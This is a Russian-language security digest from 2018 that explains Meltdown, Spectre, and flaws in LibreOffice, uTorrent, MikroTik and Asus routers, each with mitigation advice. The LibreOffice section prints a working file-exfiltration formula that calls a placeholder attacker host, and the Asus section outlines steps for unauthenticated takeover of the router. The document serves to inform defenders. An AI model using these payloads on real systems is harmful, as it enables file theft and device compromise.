Обзор уязвимостей. Выпуск 3

Дата: 22.05.2018
Автор: Андрей Жуков, аналитик

В предыдущем обзоре были освещены найденные уязвимости не только типа RCE в Windows, что уже становится привычным, но и в протоколах Bluetooth и WiFi.
Следуя заданной динамике роста критичности уязвимостей, логическим продолжением могли бы быть разве что уязвимости в самих CPU...

1. Meltdown, или ошибка десятилетия. CVE-2017-5754

Место обитания:
Практически каждый CPU от Intel

Техническое описание:
Суть уязвимости кроется в том, что процессор, выполняя инструкции, осуществляет забегания вперёд.

Инструкция — максимально упрощённое (атомарное) действие. Каждую такую инструкцию процессор способен выполнить на очень высоких скоростях. Как известно, тактовые частоты современных процессоров давно перешагнули отметку в 3 ГГц (3 млрд в секунду). Чтобы понять, насколько это быстро, достаточно вспомнить скорость света. За один такт процессора свет не успеет преодолеть даже один метр. Правда стоит отметить, что для исполнения одной инструкции потребуется несколько таких тактов.

Для повышения производительности в CPU была заложена возможность исполнять инструкции не по одной, а пачкой — так называемое out of order execution (внеочередное исполнение или спекулятивное исполнение). При таком исполнении инструкции предварительно загружаются в т. н. конвейер и выполняются не по порядку следования, а по готовности.
Данное решение было продиктовано исключительно производительностью.

Несколько упрощённо уязвимость можно выразить в 2 инструкциях:

взять байт из:[защищённая память] в A
взять байт из:[доступная память + A] в B

Мы просто прочитали 1 байт (грубо говоря одну букву или небольшое число) из некоторой защищённой памяти, т. е. памяти недоступной для чтения. После, этот байт A мы попытались использовать как адрес, чтобы что-то прочитать из доступной памяти, смещённой на наше число A.

А теперь вспоминаем, что процессор исполняет инструкции пачками. Это значит, что, скорее всего, он не остановится в тот момент, когда его попросили прочитать защищённую память, и успеет выполнить ещё несколько инструкций. В какой-то момент процессор поймёт (возникнет исключение), что была прочитана запрещённая область памяти, и отменит результат всех дальнейших действий. Однако кэш процессора работает самостоятельно, и всё, что через него проходит, он сохраняет. Когда мы прочитали доступную память, с секретным байтом A в качестве смещения, тот кусочек памяти попадёт в кэш процессора.
Если после всех этих действий мы попробуем прочитать всю нашу доступную память по 1 байту за раз, то тот самый байт по адресу A мы получим очень быстро.
Чтение даже одного байта из оперативной памяти это сотни тактов, а из кэша — уже единицы.
И тут мы понимаем, что кто-то недавно уже читал что-то по этому адресу.
Байт по адресу A был получен значительно быстрее остальных. Значит он и был тем самым секретным байтом, прочитанным из защищённой памяти.
Так произошло потому, что в логику процессоров не была заложена предварительная проверка прав доступа к памяти перед исполнением:
CPU → MMU → L1 → RAM
Таким образом становится возможным прочитать произвольную защищённую память.

Особенности эксплуатации:
Эксплуатация уязвимости возможна благодаря кэшу процессора.
Несмотря на свою низкоуровневую природу, уязвимость достаточно просто эксплуатируется.
Применение Meltdown ориентировано, как правило, на чтение памяти ядра, т. к. оно может быть адресовано в каждом пользовательском процессе. Иными словами, физическая память ядра спроецирована в виртуальную память каждого процесса.

Каждый процесс в операционной системе (ОС) — это отдельное изолированное адресное пространство.
В каждый момент времени CPU настроен только на одно адресное пространство. Переключение адресного пространства — относительно длительная процедура.
Переключение на ядро происходит так часто (прочитать файл, загрузить что-то по сети, подвинуть курсор мыши), что в целях производительности современные ОС автоматически помещают память ядра в адресное пространство каждого процесса:


Рисунок 1 — Проекция одной и той же памяти ядра в адресное пространство каждого процесса

Более того, ядро расположено по одному и тому же адресу в любом процессе. Так что, зная адрес, становится возможным прочитать его память.

Кто подвержен:
Процессоры Intel (начиная от 1996 года), за исключением Intel Atom до 2013 года, некоторые версии процессоров архитектуры ARM. Так же в значительной степени подвержены различные системы виртуализации.

Как защититься:
Уязвимость Meltdown наносит удар по главному защитному механизму CPU — «защищённому режиму», на уровне самого процессора. Как минимум двадцать последних лет все ОС слепо полагались на то, что CPU способно защитить их код.
Лучшей защитой был бы аппаратный патч через обновление микрокода процессора, однако это не всегда возможно.
На данный момент существуют программные патчи на уровне ОС:

  • Windows — январское обновление.
  • Linux — патч KAISER, либо последняя версия любой из поддерживаемых веток ядра;
  • Mac OS — обновление ядра до 10.13.2.

На текущий момент главная защита от Meltdown — прямое отделение памяти ядра от каждого процесса. В результате при каждом системном вызове (чтение файла, передача данных по сети, сдвиг курсора мыши и т. п.) будет происходить полное переключение адресного пространства.

2. Spectre. CVE-2017-5753, CVE-2017-5715

Место обитания:
Практически каждый CPU от Intel, AMD и ARM

Техническое описание:
Уязвимость Spectre несколько отличается от Meltdown и позволяет получить доступ к данным соседних процессов. Также Spectre позволяет получить доступ к данным в контексте того же процесса или ядра ОС, доступ к которым не должен быть получен при нормальных условиях.
Например, вредоносный JavaScript-код во время исполнения может компилироваться в машинные команды определенным образом, позволяя провести атаку Spectre, обойти ограничение песочницы браузера и получить доступ к конфиденциальной информации пользователя.
Это достигается опять-таки за счёт недочетов проверки прав доступа к памяти до начала спекулятивного исполнения, но уже не в момент прямого доступа к памяти, как было в Meltdown, а в момент вычисления условий переходов и косвенных переходов.

Когда-то давно процессы работали в реальном режиме. При таком режиме программы работали в едином адресном пространстве, при котором программа 1 могла напрямую прочитать данные программы 2. При таком подходе ошибка в одной программе или же неверное размещение её в памяти могло нарушить работу других программ или даже ОС в целом. Ясное дело, такой подход не дожил до наших дней. Сегодня все современные процессоры уже очень давно поддерживают и работают в большей части в т. н. защищённом режиме.
В данном режиме используется т. н. страничный режим, при котором процессор работает только с логическими адресами (виртуальными адресами). Главная особенность данного режима — аппаратная изоляция адресных пространств процессов друг от друга.
В таком режиме каждый процесс получает в своё распоряжение как бы всю память (персональное адресное пространство) и даже не знает о существовании других процессов (других адресных пространств). Процессор же в каждый момент времени настроен только на одно такое адресное пространство.
При работе в таком пространстве приложения вместо прямого доступа к физической памяти получают виртуальные адресные пространства, отображаемые на физическую память так, что пространства разных приложений не пересекаются:


Рисунок 2 — Организация памяти в защищённом режиме CPU

Даже по одному и тому же адресу в разных процессах будут находится абсолютно разные данные. Таким образом становится невозможно получить прямой доступ к памяти другого процесса, т. к. эта память не может быть даже адресована.

Уязвимость Spectre способна обойти это фундаментальное аппаратное ограничение.

Особенности эксплуатации:
Суть уязвимости кроется в ещё одном оптимизационном механизме современных CPU — блоке предсказания ветвлений и переходов (BPU).
В каждой компьютерной программе существуют логические условия, на основе которых программа продолжает выполнение по тому или иному пути.
Блок BPU оценивает вероятность такого перехода на основе собранной ранее статистики.
Главная проблема в том, что данный блок не делает различий между тем, в каком адресном пространстве выполняется условие (работает с виртуальными адресами, а не физическими).
Отчасти такой подход правильнее, ведь в разных программах могут использоваться схожие алгоритмы.
Но, как мы помним, виртуальные адреса не уникальны, две или более программы могут иметь абсолютно разные данные на одних и тех же адресах. Соответственно, программа 1 (атакующая) может повлиять на работу программы 2 (атакуемой), «натренировав» блок BPU в своём адресном пространстве на предсказание результата некоторого условия программы. Однако внутри адресного пространства атакуемого процесса условие по тому же самому адресу будет предсказано ошибочно, и исполнение пойдёт по ошибочному пути. Т. о. атакующая программа сможет оказать воздействие на атакуемую программу.
В случае со Spectre ошибка в предсказании влечёт за собой два последствия:

  • ошибочное предсказание истинности условия повлечёт за собой чтение произвольного участка памяти атакуемой программы (CVE-2017-5753).
  • ошибочное предсказание адреса перехода на короткий момент времени заставит выполнить произвольную последовательность инструкций в адресном пространстве атакуемой программы (CVE-2017-5715).
    И в том, и в другом случае результатом будут данные из памяти атакуемого процесса, ошибочно прочитанные (вследствие ошибочного предсказания блоком BPU) и оставившие свой отпечаток в кэше процессора.

Главная сложность в эксплуатации Spectre заключается в способе получения закэшированных данных. Т. к. память атакуемого процесса не может быть напрямую адресована из атакующего процесса, то требуется вынудить атакующий процесс повторно обратиться к своей памяти. А атакующий процесс должен измерить время, за которое эти данные извлекаются.

Кто подвержен:
Процессоры от Intel, AMD и ARM. Точный перечень подверженных моделей CPU не известен.

Как защититься:
На данный момент не существует эффективного универсального механизма защиты. Поскольку уязвимость рушит главную особенность защищённого режима процессора — изоляцию памяти процессов друг от друга, то защитой пока могут быть только патчи от каждой отдельно взятой программы, будь то браузер или пакет офиса.

Таким образом получается, что причиной и Meltdown, и Spectre, а также способа их эксплуатации стали механизмы, призванные повысить производительность. Соответственно, какими бы ни были решения данных проблем, они обязательно отразятся на производительности процессоров.

3. LibreOffice files disclosure. CVE-2018-6871

Место обитания:
Офисный пакет Libreoffice

Техническое описание:
Данная уязвимость актуальна для людей, использующих офис не от Microsoft.
Проблема присутствует в редакторе формул Libreoffice Calc в формате файла .fods (Flat XML ODF Spreadsheet) в функции COM.MICROSOFT.WEBSERVICE (даже тут не обошлось без Microsoft). Уязвимость позволяет читать произвольные файлы на компьютере жертвы, открывшей вредоносный документ.

Особенности эксплуатации:
В Libreoffice требуется создать и сохранить пустую таблицу (аналог xls). В качестве типа файла выбрать «Flat XML ODF Spreadsheet». После в текстовом редакторе вставить в любую ячейку строку:

table:formula=«of:=COM.MICROSOFT.WEBSERVICE("http://attacker:8888/" & COM.MICROSOFT.WEBSERVICE("/путь/до/секрета.txt"))»

Открыв файл, жертва автоматически отправит содержимое произвольного файла на компьютер злоумышленника.

Кто подвержен:
Libreoffice до 5.4.5 и до 6.0.1

Как защититься:
Установить соответствующее обновление

4. uTorrent web — RCE / uTorrent classic — Information disclosure

Место обитания:
uTorrent web, uTorrent classic

Техническое описание:
Уязвимость затрагивает самый популярный torrent-клиент для Windows — uTorrent.
Суть уязвимости заключается в излишнем функционале, доступном на портах 10000/tcp, 19757/tcp.
К счастью, данные порты прослушиваются лишь на локальном интерфейсе и не доступны извне.
К несчастью, любой недобросовестный сайт, который вы можете посетить, сможет получить доступ к этим сервисам и воспользоваться ими в недобрых целях.

Особенности эксплуатации:

  • uTorrent classic. Именно его используют чаще всего. С помощью специальных запросов к сервису на порту 10000/tcp атакующий сайт способен узнать, какие файлы закачивал пользователь.
  • uTorrent web. Поставляется с дополнительным web-интерфейсом для управления торрент-клиентом. Именно в нем содержатся ещё более опасные уязвимости, которые способны скомпрометировать уже компьютер пользователя целиком. С помощью всего двух запросов атакующий сайт способен изменить стандартный каталог загрузки и произвести загрузку произвольного файла. Так, если в качестве каталога назначения выбрать путь автозагрузки (%userprofile%appdatastartup) то, если жертва ничего не заметит, то после следующей перезагрузки атакующему удастся исполнить произвольный, в том числе вредоносный код.

Кто подвержен:
Пользователи uTorrent (порядка 100 млн человек).

Как защититься:
На данный момент нет информации о реакции разработчика (BitTorrent). Так что, возможно, разработчик не станет исправлять уязвимость, что сделает из нее т. н. «фичу». По всей видимости, это сделано нарочно, для возможности слежки за закачками пользователей.

5. MikroTik multiple RCE. Chimay Red, CVE-2018-7445

Место обитания:
Роутеры Mikrotik

Техническое описание:
Всё началось с того самого слива информации об инструментах ЦРУ, из которого мир узнал об EtternalBlue (известного по вирусу WannaCry). В набор ЦРУ так же входил и эксплойт Chimay Red, позволяющий произвольное исполнение кода роутров фирмы Mikrotik через web-интерфейс.
И совсем недавно была найдена новая, не менее опасная уязвимость в сервисе SMB данного роутера, которая позволяла исполнить произвольный код на устройстве. На следующий день уже был опубликован эксплойт.

Особенности эксплуатации:
Chimay Red эксплуатирует относительно недавнюю группу бинарных уязвимостей Stack Clash (2005, 2010, 2017 гг), специфичных для ОС Linux. Она заключается в том, что иногда менеджер памяти ОС слишком близко располагает страницы памяти стэка с другими данными, например, динамически выделяемой памяти.
В случае с Chimay Red это использовалось для «наезда» указателя стэка потока №1 на стэк потока №2. В результате поток №1 копировал произвольный код (ROP-цепочку) в стэк потока №2, который затем её исполнял. Так происходило из-за переполнения буфера в стэке при обработке HTTP-заголовка Content-Length, которое было настолько большим, что задевало соседний стэк.
В случае с уязвимостью CVE-2018-7445 присутствовало то же самое переполнение буфера в стэке, но уже при обработке NETBIOS-запроса (порт 139/tcp) в сервисе SMB (расшаренные ресурсы).
И в том, и в другом случае с помощью данных уязвимостей возможен удалённый захват управления сетевым устройством со всеми вытекающими последствиями, типа перехват всего сетевого трафика, включая пароли и конфиденциальную информацию, а также подмена содержимого.

Кто подвержен:
Mikrotik RouterOS до 6.41.3 и до 6.42RC27.

Как защититься:
Установка обновления с сайта производителя. Либо ограничение сетевого доступа до портов 139 и веб-интерфейса.

6. AsusWRT lan RCE. CVE-2018-5999, CVE-2018-6000

Место обитания:
Роутеры фирмы Asus

Техническое описание:
В отличие от уязвимостей в Mikrotik, данная уязвимость относится к классу излишней функциональности, доступной без аутентификации.
В данном случае в роутере содержится возможность вполне легальным способом с помощью специального HTTP-запроса к /vpnupload.cgi вызвать запись переменной в NVRAM. В то же время данное действие не требует аутентификации.

В контексте роутеров NVRAM это небольшое хранилище, куда помещаются разные параметры настроек роутера (в том числе и пароль к админке или к Wi-Fi). Так сделано потому, что, как правило, файловая система роутеров доступна только для чтения.

Таким образом открывается возможность изменить любой параметр.

Особенности эксплуатации:
Для эксплуатации требуется только сетевой доступ к веб-интерфейсу роутера.
Злоумышленник может, например, сбросить пароль для доступа к веб-интерфейсу, сбросив соответствующую NVRAM-переменную.
Также с помощью установки специальной переменной ateCommand_flag=1, на роутере может быть активирован infosvr-сервис (9999/udp). Данный сервис с помощью специального udp-пакета может создать и впоследствии запустить произвольную службу, например, telnetd, к которому в последствии может подключиться злоумышленник.

Кто подвержен:
AsusWRT до версии 3.0.0.4.384_10007

Как защититься:
Установка обновления с сайта производителя, либо ограничение доступа к веб-интерфейсу роутера извне.